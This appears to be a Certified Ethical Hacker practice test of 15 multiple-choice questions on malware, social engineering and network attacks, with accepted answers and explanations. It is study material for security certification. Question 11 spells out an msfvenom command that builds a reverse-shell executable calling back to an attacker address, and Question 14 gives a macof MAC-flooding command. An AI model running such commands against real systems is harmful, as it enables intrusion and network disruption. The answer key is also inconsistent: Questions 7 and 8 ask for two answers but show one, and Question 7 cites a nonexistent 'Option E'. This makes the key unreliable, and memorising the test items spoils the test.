CEH Malware, Social Engineering and Network Attacks Practice Test 7 — 15 Questions

Question 1

Which type of malware is designed to replicate itself across networks without requiring a host file, often exploiting vulnerabilities to spread?

Accepted Answer

Worm. A worm is a standalone malware program that replicates itself across networks without needing a host file, typically exploiting vulnerabilities such as unpatched SMB services (e.g., EternalBlue in WannaCry) or weak credentials to propagate autonomously. Unlike viruses, worms do not require attachment to an existing executable or document, and they spread by scanning for vulnerable targets and transferring their code over network protocols like TCP/IP.

Answer

Trojan

Answer

Ransomware

Answer

Virus

Question 2

An organization wants to protect against DNS spoofing attacks. Which security measure is MOST effective in preventing an attacker from poisoning DNS cache entries?

Accepted Answer

Implement DNSSEC. DNSSEC (Domain Name System Security Extensions) is the most effective measure against DNS spoofing because it cryptographically signs DNS data using public-key cryptography, allowing resolvers to verify the authenticity and integrity of responses. This prevents an attacker from injecting forged DNS records into the cache, as any tampered response would fail signature validation per RFC 4033–4035.

Answer

Use IPsec

Answer

Use a firewall

Answer

Disable DNS recursion

Question 3

A security team suspects a session hijacking attack. The analyst examines network traffic and sees packets with sequence numbers that increment by predictable values. Which attack is MOST likely occurring?

Accepted Answer

TCP sequence prediction. TCP sequence prediction attacks exploit the ability to guess the next sequence number in a TCP connection, allowing an attacker to inject forged packets and hijack the session. The analyst observed packets with sequence numbers incrementing by predictable values, which is the hallmark of weak or static sequence number generation in older TCP implementations.

Answer

ARP poisoning

Answer

DNS spoofing

Answer

MAC flooding

Question 4

Which tool is specifically designed to create and manage phishing campaigns for security awareness testing?

Accepted Answer

SET. The Social-Engineer Toolkit (SET) is an open-source Python-driven framework specifically designed for social engineering attacks, including the creation and management of phishing campaigns. It automates the generation of malicious emails, credential harvesting pages, and payload delivery, making it the standard tool for security awareness testing in CEH contexts.

Answer

Metasploit

Answer

Nmap

Answer

Wireshark

Question 5

A network switch starts behaving like a hub, broadcasting all traffic to all ports. The security team suspects an attack that floods the switch with fake MAC addresses. Which attack is this?

Accepted Answer

MAC flooding. MAC flooding exploits the limited size of a switch's Content Addressable Memory (CAM) table. By sending thousands of packets with unique, fake source MAC addresses, the attacker fills the CAM table, forcing the switch to fail open and broadcast all incoming frames to every port, effectively behaving like a hub. This allows the attacker to capture traffic not originally destined for their port.

Answer

ARP poisoning

Answer

STP attack

Answer

DNS spoofing

Question 6

Which DoS attack exploits the HTTP protocol by sending partial HTTP requests to keep connections open, exhausting server resources?

Accepted Answer

Slowloris. Slowloris is a DoS attack that exploits HTTP by opening multiple connections to the target web server and sending partial HTTP requests (e.g., incomplete headers) while never completing them. The server keeps each connection open, waiting for the rest of the request, eventually exhausting its connection pool and denying service to legitimate users.

Answer

SYN flood

Answer

Ping of Death

Answer

UDP flood

Question 7

Which TWO of the following are characteristics of a polymorphic virus? (Select 2)

Accepted Answer

It changes its code signature each time it replicates. A polymorphic virus mutates its code signature—often by altering the decryption routine or using different encryption keys—each time it replicates, which allows it to evade signature-based detection by antivirus software. Option E is correct because polymorphic viruses typically use encryption to hide their payload, with a variable decryption engine that changes the encrypted form of the virus body upon each infection.

Answer

It spreads via email attachments only

Answer

It requires a host file to attach

Answer

It self-replicates without user interaction

Question 8

Which TWO of the following are types of malware analysis? (Select 2)

Accepted Answer

Static analysis. Static analysis examines malware without executing it, focusing on file structure, strings, and code signatures to identify malicious indicators. Dynamic analysis runs the malware in a controlled sandbox environment to observe runtime behavior, such as registry changes, network connections, and process injections. Both are fundamental malware analysis methodologies recognized by the CEH exam.

Answer

Penetration testing

Answer

Network analysis

Answer

Code review

Question 9

A security analyst runs the command 'tcpdump -i eth0 -n host 10.0.0.5 and port 80' and sees many packets with the SYN flag set but no corresponding ACK. Which attack is likely occurring?

Accepted Answer

SYN flood. The command captures TCP packets on port 80 with the SYN flag set but no corresponding ACK, which indicates that the target is receiving SYN requests but never completing the three-way handshake. This is the hallmark of a SYN flood attack, where the attacker sends a high volume of SYN packets to exhaust the server's connection queue, preventing legitimate connections.

Answer

ICMP flood

Answer

UDP flood

Answer

Ping of Death

Question 10

During a penetration test, you discover a process named 'svch0st.exe' running on a Windows server with high CPU usage. The file is not digitally signed. Which type of malware is MOST likely present?

Accepted Answer

Trojan. The process name 'svch0st.exe' mimics the legitimate Windows service host 'svchost.exe' but uses a zero instead of 'o', a common masquerading technique. The lack of a digital signature and high CPU usage indicate malicious activity, and because it appears to be a standalone executable disguised as a system process, it fits the definition of a Trojan—malware that deceives users into running it by appearing legitimate.

Answer

Polymorphic virus

Answer

Ransomware

Answer

Worm

Question 11

A security analyst executes the command 'msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe' and transfers the file to a target. Which technique is being used?

Accepted Answer

Generating a Trojan. The command uses msfvenom to generate a Windows executable payload that establishes a reverse TCP connection back to the attacker's IP (192.168.1.10) on port 4444. This creates a trojan horse—malicious code disguised as a legitimate file (shell.exe)—which, when executed on the target, provides unauthorized remote access. The technique is specifically trojanization, not virus or worm propagation.

Answer

Creating a virus

Answer

Deploying a worm

Answer

Initiating a DoS attack

Question 12

After a security incident, an analyst retrieves a suspicious file. The analyst runs the 'strings' command on it and sees references to 'CreateRemoteThread' and 'WriteProcessMemory'. Which technique does this indicate?

Accepted Answer

Process injection. The presence of 'CreateRemoteThread' and 'WriteProcessMemory' in the output of the 'strings' command is a strong indicator of process injection. These Windows API functions are commonly used together to allocate memory in a target process (VirtualAllocEx), write malicious code into that memory (WriteProcessMemory), and then execute it in the context of the remote process (CreateRemoteThread). This technique allows an attacker to run arbitrary code within a legitimate process, bypassing security controls.

Answer

DLL hijacking

Answer

Privilege escalation

Answer

Buffer overflow

Question 13

An organization experiences a DDoS attack where a large volume of DNS queries with spoofed source IPs are sent to open DNS resolvers, which then amplify the traffic to the victim. Which type of attack is this?

Accepted Answer

DNS amplification. This is a DNS amplification attack, a type of DDoS that exploits open DNS resolvers. The attacker sends a small DNS query (e.g., ANY type) with a spoofed source IP (the victim's IP) to an open resolver, which responds with a much larger response (up to 50-100x the query size), flooding the victim. The key mechanism is the amplification factor combined with the spoofed source address, which directs the amplified traffic to the victim.

Answer

UDP flood

Answer

Smurf attack

Answer

SYN flood

Question 14

During a penetration test, you run the command: 'macof -i eth0 -s 192.168.1.1 -d 192.168.2.1 -e 00:11:22:33:44:55'. What is the intended effect of this command?

Accepted Answer

Perform MAC flooding to cause switch to fail open. The `macof` tool generates a flood of random MAC addresses on the specified interface, overwhelming the switch's Content Addressable Memory (CAM) table. When the CAM table is full, the switch fails open and begins flooding all frames out all ports, effectively turning it into a hub. This allows the attacker to sniff traffic that would normally be isolated to specific switch ports.

Answer

Execute a SYN flood against the target

Answer

Perform ARP poisoning

Answer

Spoof DNS responses

Question 15

An analyst is analyzing a suspicious file using VirusTotal and observes that only 3 out of 60 antivirus engines detect it as malicious. The file has been submitted before but with no detections. What should the analyst conclude?

Accepted Answer

The file is likely malicious and requires further analysis. A detection rate of 3 out of 60 (5%) is extremely low, but the fact that the file was previously submitted with zero detections and now has three detections indicates that the antivirus engines have updated their signatures to identify it. This pattern is consistent with a new or polymorphic malware strain that initially evaded detection but is now being recognized by a few engines. A low detection rate does not guarantee safety; it often signals a targeted or zero-day threat that requires further analysis through sandboxing or dynamic analysis.

Answer

The file is a clean file with a rare hash

Answer

The file is safe because most engines don't detect it

Answer

The file is likely a false positive